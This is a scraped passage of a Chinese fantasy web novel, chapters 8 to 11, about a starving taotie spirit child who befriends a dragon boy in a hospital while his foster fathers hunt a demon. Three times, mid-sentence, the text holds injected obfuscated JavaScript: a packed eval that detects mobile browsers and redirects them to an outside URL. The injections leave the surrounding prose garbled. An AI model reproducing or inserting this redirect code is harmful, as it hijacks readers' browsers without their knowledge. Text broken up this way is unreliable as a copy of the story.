冬日感受到了男孩对自己的友善，又是年纪差不多的同龄人，这才卸下心间的防备。 眨巴眨巴眼，很诚实地点点头，语气还怪委屈的：“……疼的，宝宝摔好疼！这里，跟这里，都疼的！” 男孩一顿，看着是有些没反应过来：“宝宝？” 冬日点点头，因为不知道，所以才能特别大胆地应道：“……嗯，宝宝是我呀，我叫宝宝。” 8. 第 8 章 冬日不清楚“宝宝”是否有其他含义。 毕竟他不是真正的人类小孩，也从没被人类养过。 他只知道冬眠这么叫他，那这就是他的名字。 所以不仅敢直接自称，还能很大方地向别人做起自我介绍。 男孩听后愣了几秒，对这样的名字仍是有些怀疑，问他：“……你的名字就叫宝宝吗？” “嗯，我叫宝宝！” 小汤圆满满的自信，然后举起了自己手里的小企鹅。 “他叫切切力，我们好朋友哦！” “……” 昨晚终于看上小企鹅的动画片，小家伙一眼认出自己的小玩偶企鹅，很认真记下了他的名字。 虽然念得不标准。 小企鹅的名字是“圈圈力”，他念不好，也没意识到自己念不好，念成了“切切力”。 男孩又看了冬日好几眼。 看他光着脚，衣服前襟带着血迹，怀里抱着一个“战损版”玩偶。 说话还逻辑混乱，意义不明——如果这里不是市内最好的私立医院，他都要怀疑前面的是个流浪儿童了。 但很有趣。 不管是这个小朋友，还是这件事情本身。 “我叫裴清律。”男孩笑了笑，“那以后我们就算认识了。” 仅仅这么听一遍，冬日压根记不住对方的名字。 但他是不会说出来的，眼神很认真地盯着对方，看上去煞有其事地应道：“……好、好哦！” “你为什么会来这里？” “……” 终于问到点上了。 进来时那么一摔，感觉把冬日的所有记忆都摔没了。 现在男孩询问，冬日才想起自己是被食物香味勾过来的。 但贪吃总让人有种天然的羞耻感，冬日抱紧小企鹅，回答时的声音压轻了些。 “我，我闻到……香香的味道，在这里……我就过来了……” 剩下的话，肚子替他回答了。 咕噜咕噜噜—— 好饿，他真的好饿啊。 他需要食物。 男孩也听到了他肚子发出的声响，但脸上不见任何嫌弃，笑意还更深了些。 “我正打算吃饭，你陪我一起吃吧。” 冬日瞬间睁大双眼，如听仙乐耳暂明。 只是还没做出回答，中年男人的声音又先响起：“少爷！” 语气对男孩的提议明显是不赞同。 “您怎么能随便跟一个来路不明——” 话没能说完，因为男孩犀利的眼神再次杀了过去。 中年男人不得不改口：“……您怎么能随便跟一个陌生小孩吃饭……” 男孩淡然说道：“他不是陌生小孩，我已经知道他的名字，他叫宝宝。” 冬日宝宝站在旁边，看了看男孩，又看了看中年男人。 直觉告诉他，中年男人并不欢迎他留在这里——大人给予小孩的压迫感总是更强些，可是很奇怪，这一大一小之间，做决定的很明显是男孩。 这又让冬日宝宝没那么紧张了。 尤其男孩压根不在乎中年男人说了什么，很自然就牵过冬日的手，带着他走到茶几前：“陪我一起吃午饭吧。” 在看到食物后，冬日就更不紧张了。 因为满眼满心只剩下食物。 茶几上的菜肴简单营养且丰盛。 胡萝卜丁鸡蛋卷，清炒牛肉片，虾仁西蓝花，鲫鱼豆腐汤，香菇滑鸡。 都还热气腾腾的，香气阵阵往上飘。 冬日在外面就已经嗅到香气，此刻距离如此相近，口水都要滴出来了。 虽然肚子没再发出丢脸的叫声，可饥饿感在那一刻无限加强，只能拼命咽口水。 男孩见他这模样，没废话没客套，直接将他按坐在小凳子上，将一碗已经盛好的白米饭跟筷子递到他面前：“吃吧，希望合你胃口。” “……” 冬日还有什么可说的呢。 食物已经递到他面前，筷子也摆在了他手边，难道还要他拒绝吗？ 小饕餮宝宝是没办法昧着良心跟本能说拒绝的，因为他真觉得自己快饿死了，现在吃下一只十多斤的牛头都不在话下。 唯一还能做到的礼貌，就是先向男孩道谢。 “……谢谢你，小哥哥！” 然后接过碗筷，大口大口往嘴里扒饭。 太！好！吃！了！ 太！香！了！ 一口白饭下去，冬日的眼睛都睁大了，不敢相信白饭居然能这么好吃。 毫不夸张地说，这就是他在人间吃过的，最美味的白米饭。 再尝了尝面前的香菇滑鸡跟清炒牛肉片，更是好吃到非常感动，差点就要当场落泪的程度。 先前大部分是吃冬眠店里的餐食，在家也是爸爸们自己下厨——如果真的好吃，冬眠那家餐饮店的生意就不会中等偏下了。 只是此前小饕餮宝宝没吃到过真正的美味，没有对比，又不怎么挑食，很好养活，所以不知道外面的家常菜能做这么好吃。 没想到今天意外吃到了。 小嘴立刻化成永动机，这里一口那里一口，很快将一碗米饭扒到见底。 “再来一碗吧。” 男孩没问他还要不要，而是直接再为他添上一碗，完美省去了冬日可能会有的不好意思。 于是冬日看向男孩，眼神已经跟看偶像恩人没有区别，再度开始猛猛扒饭。 男孩似乎也很喜欢看冬日吃饭的样子，嘴角始终带着笑意。 只有中年男人很不满。 眼看米饭跟配菜都快被这个小不点吃光了，而男孩全程一脸笑意的纵容，实在是没有办法再忍耐，压着音量开口：“少爷，您自己还没——” 男孩第三次冷酷打断：“杨叔，你今天一直在跟我唱反调。” “……” “你还是出去吧，你待在病房里很影响我的心情。” 中年男人脸上立刻浮现了几丝不敢置信的受伤，脚步纹丝不动：“……先生让我在这里照顾您，我必须时时刻刻确保您安然无恙。” “不用拿家长来压我，既然你叫我一声少爷，我想我至少还有这点做主的权利。” “……” “出去，现在看着你，我很难安然无恙。” “……” 中年男人沉默固执地又站了一会儿，但最后还是没有违背男孩的命令。 “……是，我知道了。” 应完后，步履沉重地迈向门外。 沉迷食物的小饕餮宝宝听到了他们在说话，但真没多余心思注意他们说话的内容，只专心致志地享用美食。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988868|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗝——” 将桌面上的食物吃干抹净后，小饕餮宝宝还打出一个惊天动地的大嗝——但不是因为吃饱了，而是因为过度饥饿导致进食速度过快，顺便吃进去的空气太多了。 没办法，真的太好吃了。 现在他是一只尝到家常菜有多美味的小饕餮宝宝了。 肚子里装下五六分食物，身体便渐渐有了踏实的感觉，心情也轻松明媚许多。 但等仔细看清被自己扫荡过的满桌狼藉，冬日后知后觉开始不好意思。 “……唔，我，我吃了……都是，我吃掉了……” 他是知道自己很能吃的。 天性如此，又经历过漫长的饥饿，所以每回面对食物，都无法克制来自内心深处的渴望。 而且爸爸们也总说他吃得多。 每次他感觉还能再来好几口的时候，爸爸已经开始慌张地阻止他，说他吃得够多了，再吃就要吃坏了。 刚才太饿了，又没克制住。 他竟然吃光了一个陌生小哥哥的食物。 可是真的很好吃。 所有的食物再来两份，他也能全部吃下。 小饕餮宝宝一边抿抿嘴唇，认真回味着刚才的美味，一边眨巴眼皮，偷偷看向男孩，怕看到男孩对自己的嫌弃，又怕错过对方的真实情绪。 好在男孩没有嫌弃，脸上始终带着笑，见冬日吃光了，竟还夸他：“你全部吃完了，好厉害啊。” “……” 男孩在冬日心中的形象顷刻间更加伟大。 刚才还是一个善良好心的小哥哥，此时已升级成全世界最善良好心的小哥哥。 男孩问他：“好吃吗？” 冬日连忙点头，用力点头，猛猛点头，用肢体语言表示着对这顿食物的认可。 “……好吃哦！很好吃的！太好吃啦！” 但再好吃也不是他能全部吃光的理由，冬日咬咬嘴唇，很不好意思地说道：“可是，全部我吃了……对扒起……” 他至少要给小哥哥留一半的。 “没关系，看到你喜欢，我也很高兴。”男孩问，“你吃饱了吗，我这里还有水果，你要尝尝吗？” 地上好几个水果篮子，男孩从里面拿出了一个大柚子。 “这个稍微好吃点，你喜欢柚子吗？” “喜欢！” 除了发臭发烂的变质食物，其他就没有小饕餮宝宝不敢尝试的。 况且他是吃过柚子的。 还在流浪的时候，有阵子是柚子季，好多成熟的柚子掉在地上。 虽然有些酸得不行，但他还是大吃特吃，靠这些填饱了肚子。 “那我……” 男孩想说那我找人先把柚子皮扒了，结果才吐出两个字，冬日就将他手里的柚子接了过去。 “谢谢小哥哥！” 礼貌道谢后，张嘴便冲着厚厚的柚子皮咬下去。 尽管目前灵力恢复进度为零，无论是外貌还是内在，他看上去都是普通的人类幼崽，可一口锋利的牙齿当场暴露了他不同常人的特征。 成年人借助工具都不一定能扒开的柚子皮，他用牙齿就能轻松撕扯咬开——还将柚子皮嚼吧嚼吧，也咽了下去。 “……” 可男孩眼里并不见多少诧异，沉默半晌后，直接问道：“宝宝，你不是人类吧？” 9. 第 9 章 柚子皮是酸苦的。 口感还有些微微发涩，怎么都算不上好吃。 如果现在是第一次尝试，冬日肯定不会吃这种味道的水果。 可柚子真救过他的命。 在他觉得自己快要饿死的时候，是柚子让他饱餐好几顿，将他从死神手中抢了回来。 即便这样的时期已经过去，但柚子皮的酸苦微涩留在了记忆里，成为一种能够追忆的，特殊的符号。 所以他完全能够接受这种味道，甚至还能从中品尝出不同寻常的甜味。 又想起自己也这样啃过竹笋。 带着泥土气息的新鲜大竹笋，抱在怀里沉甸甸的，扒掉外面沾着泥土的壳衣，里面就是白白胖胖的笋肉。 有些竹笋咬下去硬硬的，很难嚼，嚼了舌头还不舒服，但有些竹笋特别嫩，咬下去水水润润，甘甜清香，非常好吃。 心里正感慨着曾经这些艰苦的日子，男孩的疑问就如平地惊雷在他耳边炸开。 “宝宝，你不是人类吧？” 听上去无比平静的语气，却直接戳破冬日藏匿最深的秘密。 怀里的大柚子差点拿不住，嚼到一半的柚子皮也差点将冬日噎死。 艰难咽下后，他慌张无措且漏洞百出地开始否认：“……我，我是人啊，我是小小人……” 男孩笑了：“人类是不会这样吃柚子的。” “……” 小饕餮宝宝不知道人类是怎么吃柚子的。 他也没在爸爸们面前吃过柚子，所以并不知道自己吃柚子的方式有多另类。 当然，如果他再聪明点，那也能顺着男孩的逻辑进一步推理：既然人类不会这么吃柚子，那看到他用这种方式，人类也不会像男孩这么平静地接受，丝毫不见诧异。 但小饕餮宝宝暂时推理不到。 真相被戳破的那一刻，过分慌张的情绪只让他从胸腔开始全身发热。 一股从未有过的，堪称可怕的念头从脑海深处冲出——用牙齿咬破男孩的喉咙。 既然自己的牙齿如此锋利，那就直接用牙齿咬破他的喉咙。 这样他就不能说话，永远不会将自己的秘密说出去了。 …… 医院周边最不缺餐饮店。 从早餐到小吃，连锁快餐到特色点心，便利店水果店，相隔几步就是一家。 殷天在这里买早餐。 他不确定孩子最爱吃什么，因为孩子好像什么都爱吃，干脆各种各样都买了一点。 最后单手就拎了五六个打包袋，感受到份量沉甸甸时，他才意识到自己买多了。 但据他平时观察所得，孩子应该吃得下。 那小子是真的很能吃。 刚捡到冬日时，他们就惊讶过孩子的超大胃口，不过那时以为是他流浪饥饿太久，有点暴饮暴食的倾向也能理解。 可后来发现孩子每天都很能吃，饭量直逼成年人，甚至比成年人还更好些。 怕孩子吃坏肚子，冬眠开始控制小家伙每日摄入的饮食量——压根没用，因为孩子会想方设法偷吃，无论将食物藏在哪里，他都能轻松找到。 现在愣是有些习惯了。 可能他天生就是高食欲好胃口的小孩吧，反正这么吃了两个月，也没见他把自己吃坏。 “你怎么出来了？你在这里做什么？” 医院门口，买好早餐的殷天跟刚从家里回来的冬眠相遇。 冬眠的原则主打灵活变通。 他本不想在人间过多使用法术，准备尽全力融入普通人的生活，可小家伙不清不楚生病，他心里着急，于是直接瞬移回家，整完衣服又瞬移到了医院门口。 殷天举举手里的食物：“那小子说饿了，出来给他买点早餐。” “买这么多？” “对那小东西来说刚够塞牙缝吧。” “……” 冬眠停顿，还没法反驳。 小家伙是真的很能吃。 殷天说：“每天跟头小猪一样，不是正在拱食就是在拱食的路上。” “别这么说他。”冬眠皱眉，“他还那么小，之前都饿成什么样了……好不容易能吃饱，对食物没安全感也很正常。” 殷天嗤笑一声：“护得倒紧，我说一句都不行？” “……” 很难想象一个上古大魔物居然会跟一个几岁的人类幼崽争风吃醋。 冬眠直接回避，假装没有听到。 接着才问出最重要的问题：“那你就这么出来了？把日日一个人留在病房吗？” “对啊。” “……你怎么能把一个小孩单独留在那里？” “医院很安全吧，外面就好几个护士看着。”殷天没觉得哪里不对，“而且我跟那小子说了，让他别离开病房，他还能跑哪里去吗？” “……也对。” 没做过人，更没养过孩子，有点粗糙的小神仙遇上非常粗糙的大魔物，养孩子的最高水平也就这样了。 “反正还是快点回去吧，别让日日等急了。” “嗯。” 两人并肩往前大步走去，可刚进医院没几步，殷天突然停下脚步，神情瞬间变得很凝重。 “这里有小魔物的气息。” 抢在冬眠开口询问之前，殷天便直击重点地开口。 “这股气息给我的感觉很不好。” “小魔物在这里？” 没想到之前他们到处苦寻无果的小魔物，此刻会如此巧合地在医院主动现身。 “他的气息怎么了？能确认他在的位置吗？” “他起了杀心。” “……” “只要这股杀意没消失，我就能知道他在哪。” “那现在就去找小魔物！” 这是他们来人间的最大原因，也是最重要的任务，与之相比，任何事情都得往后靠。 殷天沉声应道：“走。” 虽然按照殷天的私心，他并不想现在就诛杀小魔物。 只是回忆起昨晚遇上的情况，此刻殷天觉得有些古怪。 小魔物身上有一个堪称外挂的技能：他不仅能完美隐藏自身气息，有时为了更好附身在他人身上，也会一同隐去宿主的气息。 例如附身在妖怪身上时，他就会隐去妖怪身上的所有妖气，使其看上去跟普通人类无异。 而作为唯一能够感知到小魔物下落的存在，殷天也只能在两种特定情况下感知。 一是像昨晚那样，小魔物处于重度虚弱的时期。 那么在更换附身对象时的力量消耗过大，不足以再支撑他隐藏气息，便会造成一段时间的气息外泄。 第二种就是眼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988869|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当小魔物对其他生物起了杀心时，气息便会控制不住地向外散发。 殷天之所以觉得古怪，是因为他发现昨晚跟现在的气息不同。 照理来说是不可能有任何不同的。 就那么一个小魔物，怎么可能同时散发两种味道？ 除非是有两个小魔物。 但这更不可能。 因为从气息上来判断，这绝对是同个小魔物。 可昨晚还处于重度虚弱的阶段，气息都微弱，今天怎么就能起杀心，气息如此强烈？ 现实的一种真相跟另一种真相互相狂殴，即便是上古魔物也会感到不解，想要亲眼见识捋清。 到底是什么情况？ 总不可能是小魔物身负重伤，但技能又升级进步了吧？ “在这边。” 两人大步流星在医院内穿梭。 还好医院哪里都人满为患，每个人都忙着为自己的事担忧，并没有人注意到他们的快速移动。 “气息到这里停了。” 前后时间绝对不超过两分钟，幸亏他们速度够快，赶在小魔物的气息消失前，成功确定了他所在的病房位置。 “……居然是在病房里，难道小魔物的附身对象住院了？还是他就在医院寻找附身目标，这样就算对方死了，也不会引起过多怀疑？” 冬眠觉得这个猜测的可能性很大。 不仅方便小魔物随时替换目标，还不会引起太大混乱。 难怪他们这么久都找不到。 “……等等，前面不就日日的病房吗？” 只来过一次，冬眠还没将路记明白，好一会儿后才认出，这跟冬日所在的病房是同一层。 小魔物竟然离他们这么近。 更该立刻诛杀了。 这回算是运气好，能及时被他们发现，否则小魔物差点就要附到冬日身上去了。 “就地诛杀，对吧？”殷天问，“那误伤其他人也没关系吗，小神仙？” “误伤算什么，就算误杀我也没关系。”冬眠正色道，“诛杀小魔物，刻不容缓。” “放心，误杀谁都不会误杀你，我怎么舍得。”殷天勾勾嘴角，“但有你这么说，那我就放心出招了。” 一手抬起准备直接将房门推开，另一手的掌心已经凝结灵力，迸发出撕裂空气的，猩红的闪光。 只要继续凝结，很快殷天就能从中抽出一把近两米的长枪兵刃。 这是聚集了他毕生灵力，与他同生共死的魂武。 别说诛杀小魔物，就算弑神杀佛，也不过是顺便伸下手的事。 只需一击。 只要长□□穿小魔物的皮肤，顷刻间就能让他灰飞烟灭，挫骨扬灰。 但殷天心怀犹豫，动作并不干脆。 因为比起诛杀小魔物，他更好奇是发生了什么，才会让小魔物的气息产生变化。 而就是这几秒的犹豫，让他在推开房门后没有立刻出招，好好看清了正在往外跑的小幼崽长什么模样。 竟是冬日。 另一掌心内的猩红闪光迅速消失，跟着殷天后面的冬眠也瞬间满脸不敢置信。 这不是小魔物所在的房间吗？ 冬日怎么会在里面？他不是应该待在自己的病房吗？ “日日？！”冬眠大惊，“你怎么会在这里？” 10. 第 10 章 殷天跟冬眠都很震惊。 当然，最震惊的还是冬日。 他正准备离开这里，结果还没伸手开门，门居然就自己开了。 对一个小幼崽而言，这已经是堪称极度恐怖的灵异事件了。 他真有被吓一跳。 接着没发出任何声响，两个爸爸又这么出现在他眼前。 变成吓两大跳了。 小脑袋瓜迅速展开回忆，终于记起殷天交代过的话，让他不要离开房间，要乖乖等着爸爸回去。 …… 坏了。 肯定是发现他不在房间，所以出来抓他了。 “我……唔我……” 逃避危险是生物本能，冬日试图组织语言，为自己在这里的情况找个完美借口，只可惜大脑一片苍白，连个标点符号都没有。 他也没办法啊。 房间太臭了，他太饿了，这里太香了。 于是一切就这么无比自然地发生了。 等反应过来时，什么都来不及了。 “你们两个是谁，为什么会在这里？！” 但被裴清律赶出病房的中年男人回来了，出声打破这一刻沉重震惊下的沉默。 殷天跟冬眠回神，视线这才从冬日身上移开，发现病房里还有另一个小孩。 松了口气。 但这口气没完全松。 还好还好，差点就误会冬日是小魔物，要亲手送他上西天了。 可排除冬日，只剩另一个小孩是小魔物的附身对象，而且刚才这小孩还对冬日起了杀心。 殷天看向裴清律，眼神充满压迫感，几秒便将小孩上下打量了遍。 大概七八岁的年纪，五官精致周正，气质优雅温和，十足的富家小少爷模样。 胆子也很大。 面对他跟冬眠的突兀闯入，眼底不见丝毫惊慌诧异，竟还能回以同样好奇打量的眼神。 不愧是小魔物的附身对象。 事发突然，又当着一个人类跟冬日的面，他们不好贸然下手。 反正没有暴露，没有打草惊蛇，也记住了这小孩的模样，就不必急着立刻下手了。 冬眠拉过冬日到自己怀里，开口道：“抱歉，我们的孩子偷偷跑这里来了，我们来带他回去。” 中年男人对着他们也不客气。 “原来是你们的孩子啊，那真应该看好了，别这么粗心，让这么小的孩子到处乱跑。” 语气着实令人不爽，可他们确实理亏，暂且只有忍下。 “……不好意思，给你们添麻烦了，我们现在就带他走。” 冬日被冬眠抱到怀里，听完爸爸说的话后，绝望闭上双眼。 他就知道，果然是来抓他的。 但转身要离开病房的时候，身后传来裴清律的声音：“宝宝。” 殷天跟冬眠停下脚步。 冬日也立即从冬眠怀里抬头，看向裴清律。 裴清律还是冲他温和地笑：“有空就来找我玩吧。” 再对着大人说：“抱歉，是我的管家关心过度了，我不觉得宝宝有给我添麻烦，我很欢迎他来找我玩。” 一边说着，一边又给了中年男人一个严厉的眼神。 殷天跟冬眠表情复杂。 注意到了男孩身上有股超脱年龄的成熟跟强势，但更关注的点，是男孩对冬日的称呼—— ………宝宝？宝宝？！ 明明都对冬日起了杀心，表面竟还能安然无恙地喊他宝宝？！ 关键怀里的宝宝还很开心地答应了。 “……好呀！” 想起在这里吃的美味家常菜，冬日的答应还相当积极。 “……宝宝有空，就来找你！” “……” 难怪对方会喊宝宝。 还以为是什么小魔物的花言巧语，原来是小家伙习惯了这么自称。 殷天跟冬眠对视一眼。 但不管是自称还是甜言蜜语，总之小家伙看上去挺喜欢这个男孩，他们就更不能当着孩子的面动手了。 冬眠挤出一个虚伪的假笑：“谢谢你小朋友，我们先回去了。” …… 回到冬日的病房后，冬眠才能仔细询问：“宝宝，你刚才怎么会在那里？” “……” 那真是说来话长了。 冬日说不明白，也不能说，更不敢说。 裴清律看破他身份那一秒，他是真的快被吓死了。 从未有过的凶残念头迸发，竟想着要咬破裴清律的喉咙。 虽然他很快也被自己的想法吓到。 他怎么能做这种事，未免太过残忍了。 他什么时候变成了这么残忍的小神兽，他简直要不认识自己了。 而在小家伙灵魂理智都飘散的间隙里，裴清律又开口说道：“你放心，我也不是人类。” 冬日：！！！ 冬日瞪大眼睛，凶残的念头是消退，可心中的震惊怒加好几倍。 眼前善良好心的小哥哥竟然也不是人类？！ “不信吗？”裴清律笑了笑，“你看着我的眼睛。” “……” 冬日没有应答，不过双眼已经紧紧盯住了裴清律的眸子。 随后，他亲眼看着男孩原本跟人类无异的浅黑色瞳孔变成了蓝色，并在颜色转换的同一时刻旋转扭动成了竖瞳。 冬日：！！！ 真的不是人类！ 不仅如此，他还嗅到了男孩身上散发出来的灵气。 只是经验不足，不能确定这是什么族类。 “你，你……” 冬日说不出其他话，小心脏七上八下的，都不知道自己该用什么表情才合适。 而证明自己也不是人类后，男孩很快又将瞳孔变了回去。 “虽然你看上去跟普通人类一样，我也嗅不到你身上的任何气味，但我的直觉向来很灵敏。” “……” 不能嗅到就对了。 他之前差点饿死在人间，以至于目前的灵力恢复进度还是零，再不情愿也只能保持人类幼崽的模样。 冬日抿抿嘴唇，表情很严肃很认真。 尽管打消了要咬破对方喉咙的念头，可终于能说出完整的句子，是一句恶狠狠的威胁。 “……这是秘密！我的秘密！” 至少他自己觉得威慑力十足，是可以把对方吓破胆的程度。 “……你，你要是，缩出去，我会跟你拼命的！” “……” 可惜落在对方眼里，毫无威胁不说，更像小奶猫卖萌，努力伸着没有杀伤力的爪子。 没办法，力量不足就是这样。 威胁都像在撒娇，对方只会觉得可爱好笑。 裴清律轻笑：“你放心，我不会说出去，不会告诉任何人的……就把这当做我们之间的小秘密吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988870|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 冬日努力挤出凶狠的眼神一秒变得无比清澈——对方果然是个善良好心的小哥哥！ “那你也一样，不能将我的身份告诉别人。” “……好！” 冬日连忙点头答应，一副自己非常可靠的样子，跟刚才判若两崽。 “所以能告诉我吗，你的真实身份是什么？” 有了共同的小秘密，那他们就是好朋友了，冬日尽情卸下心里的防备，诚实告诉对方：“唔……我很厉害哦，我是小饕餮呢！” 这倒真让裴清律惊了两秒。 “……确实很厉害。” 难怪这么能吃，吃起来连柚子皮都不放过，原来是专业对口了。 “……小哥哥，那你，你是什么呀？”冬日说，“我刚刚，闻到味道了，但我不知道……我以前，也没有闻过。” 冬日如此单纯诚实，男孩便也没隐瞒，回以同等的坦诚。 “我真身是条黑龙。”裴清律道，“不过我现在生病了，没有办法展示更多，等我好些了一定让你看看。” 一听到对方生病，冬日立刻就非常有代入感，非常理解，非常感同身受。 因为他也差不多。 过度饥饿导致灵力散尽，现在的他也无法现出原身。 伸手拍拍对方的肩膀，冬日很贴心地给予安慰：“……没关系，会好的！” “……我也，变不出来！” “嗯？” “我之前，天天饿肚子，吃不饱，好可怜好可怜哦！” 可以说是非常干脆直白的卖惨了。 “后来……是爸爸，带我回去了！我能吃饱了，吃的好饱哦！” “就是，爸爸做的饭，没有今天的好吃……今天的好好吃，我以前，都没吃过呢！” 就是说到一半方向错乱，目标迷失，还附上自己真心诚意的最大赞美。 “……小哥哥，你给我的饭，真的好好吃！” “……” 谁能想到话题会跳跃到这里，突然就开始夸他的饭菜好吃了？ 而赞美过后，方向持续错乱。 “不过爸爸的饭，也能吃……我会吃很多很多……但是爸爸，不让我吃很多很多……” 裴清律安静听着。 还好，他不觉得无聊，也不觉得烦躁。 他只觉得眼前的小幼崽说话很有趣，好像在拆语言地图的宝藏盲盒，根本猜不到他下一句会说什么。 “而且爸爸，好奇怪呢，吃的东西，这里放一点，那里放一点，放得到处都是……嘿嘿，不过我都能找到，我很厉害哦！” 裴清律甚至会给予适当的回应：“嗯，是很厉害。” “我最喜欢，最喜欢蛋糕啦……我喜欢奶油哦！爸爸买过，好多蛋糕，长得不一样，都很好吃哦！” 但话题不断疯狂跳跃着，最后愣是这么跳回了最初的起点。 “所以，我不吓到爸爸……爸爸不能知道！” 在小饕餮崽崽的认知里，人类是非常脆弱的存在。 都不需要自己做什么，只要知道自己的真实身份，大概就能将爸爸吓死了。 虽然跟两个爸爸相处的时间不久，至今也不敢太亲近，可小家伙内心已经对他们产生依赖，也很感激他们收留照顾着自己。 他很认真地看向裴清律，一字一句严肃说道：“……小哥哥，我们的秘密，是了不得的秘密，一定要保密哦！” 11. 第 11 章 冬日很高兴能在这里认识不是人的小伙伴，还跟小伙伴有了很了不得的小秘密—— 可这种事能告诉家长吗？ 怎么想都不能说吧。 在跟裴清律做下秘密约定时，他也下定了决心，绝对不会让爸爸发现这个秘密。 因为在他就要饿死的时候，是爸爸将他救回家，照顾他爱护他。 每天为他准备好吃的食物，将他喂得饱饱，再也没让他饿过肚子。 虽然面对他们还有胆怯，也不敢跟他们太亲近，可内心深处早就充满了对爸爸的感激。 他是喜欢爸爸的，也是很想跟爸爸亲近的。 所以他绝对不会做出可能吓到爸爸的事。 他真的下定决心了！ 他要保护爸爸！ 也要保护好这个收留照顾他的三口之家！ 因此面对冬眠的询问，他只能隐瞒真相，含糊支吾地解释：“……唔我，我肚肚饿了，就去，去外面……” 撒谎让小家伙很是慌乱，几个字都说得磕绊。 但家长并未对他起疑，还以为他是因为偷溜出去被抓住，才会面露慌张。 殷天便道：“爸爸不是跟你说过，让你乖乖待在这里等爸爸回来吗？” “……” 冬日揪着衣服下摆，觉得自己已经完蛋了。 “……我记得，但是我忘了……” 左右脑互相攻击。 “……” 这话更叫大人无奈。 所以这位小宝贝你到底是记得还是忘了呢？ 殷天：【算了，还是你来问吧】 他觉得自己并不适合提问，好像多说一个字都会给小家伙带去无限压力。 接收到殷天的心声，冬眠就懂他的意思了。 冬眠看向小家伙：“爸爸不是在责怪宝宝……也是爸爸不好，不该将你一个人留在这里，我们应该留下一个陪你的。” 没出事的时候，粗糙点就粗糙点，问题不大。 但差点出大事的惊吓擦肩而过，一次就够教会他们，原来之前的粗心有多危险。 冬日眨眨眼，还是揪着衣服下摆，没敢说话。 冬眠继续问：“……那宝宝怎么会去别人的病房呢？里面的小哥哥没有欺负你吧？” 毕竟是小魔物，还对小家伙起了杀心，关于这部分必须问仔细点。 谁知冬日迅速摇头否认：“没有哦，小哥哥，没欺负我……小哥哥好人，给我东西吃呢。” “……他给你吃了什么？” “好多好多，好多饭饭，还有好多，好多漏漏！” 说起吃的，冬日脸上的慌乱都减少，转而变成真心流露的快乐。 情况再完蛋都不能阻止他对这顿饱餐的赞美。 “可好吃哦！好吃的不得了！”他说，“是我吃过的，最好吃的饭饭！” “……” 但小家伙要这么说的话，轮到冬眠有点破防了。 他还是开饭馆的，在家也常常亲自下厨，虽然每回小家伙都吃得很好很香也夸好吃，可从没给予过这么高的评价。 重点很不合适地产生偏移，但冬眠就是忍不住想问清楚。 这到底是小家伙的夸张说法，还是他的真心话？ “……有这么好吃吗？”冬眠问了出来，“比爸爸做的还好吃吗？” 冬日哪懂家长的含义，他只是不停回味今天吃到的食物，以及老实交代：“……嗯！好吃多啦！” “……” 听到孩子天真无邪但非常肯定的回答，冬眠当场两眼一黑。 阴谋！绝对是阴谋！ 肯定是小魔物想引诱冬日过去的阴谋！ 说不准是在食物里加了禁药，所以才令小家伙产生了幻觉般的效果！ 冬眠：【我觉得我们应该马上诛杀小魔物，刻不容缓了】 殷天自然也听到了冬日响亮且自信的回答。 什么叫自取其辱，奇耻大辱。 这就是现场版解释。 实在很难憋住不笑。 殷天只能用力忍住，随即转移话题，举举手里的食物袋：“这次就算了，但以后不能随便吃别人的食物了。” “你想吃什么，爸爸都会买给你，不需要去吃别人的，知道吗？” 如果能得知冬日在那边吃了多少，他们肯定不会让冬日继续吃了。 可他们不知道，殷天先问了问：“现在还吃得下吗？” 那么冬日的回答只有一种可能。 小家伙压根不知自己一时的诚实给冬眠带去多大伤害，见到殷天手里的食物，直接将所有事情抛到脑后。 “我吃哦吃哦！我全部吃光光！” 不挑食的小饕餮崽崽就是这么好养活。 不管好吃难吃，只要味道能过去，他就都能吃。 吃完这顿加餐，检查时间也到了。 小家伙顶着碳晕昏沉的小脑袋做完检查后，瘫倒在病床上呼呼大睡。 “……现在睡得这么熟，应该不会再跑出去了吧？” “我在他病房门口下了封锁咒，他想跑也跑不出去了。” 朝夕相处两个月，哪怕冬眠始终不待见殷天，可有些默契已经不知不觉刻印下来。 此时都不需要额外交谈确认，他们就知道接下去要做什么。 自然是要再去会会小魔物。 刚才他们没有暴露身份，去找孩子的借口也很合理，眼下决定还是不先打草惊蛇，而是继续利用刚才的借口，再做进一步打探。 冬眠敲敲病房门，心里已经想好该怎么说。 “你好，请问方便进来吗？” 里面很快响起一个成年男子的声音：“请进。” 刚才是有一个中年男人，虽然对着他们的态度不太好，可应该就是他吧。 心里这么想着，冬眠推开房门进去。 谁知才往前踏入一步，周围环境瞬间骤变，普通病房眨眼变成了前后无垠的纯黑幻境。 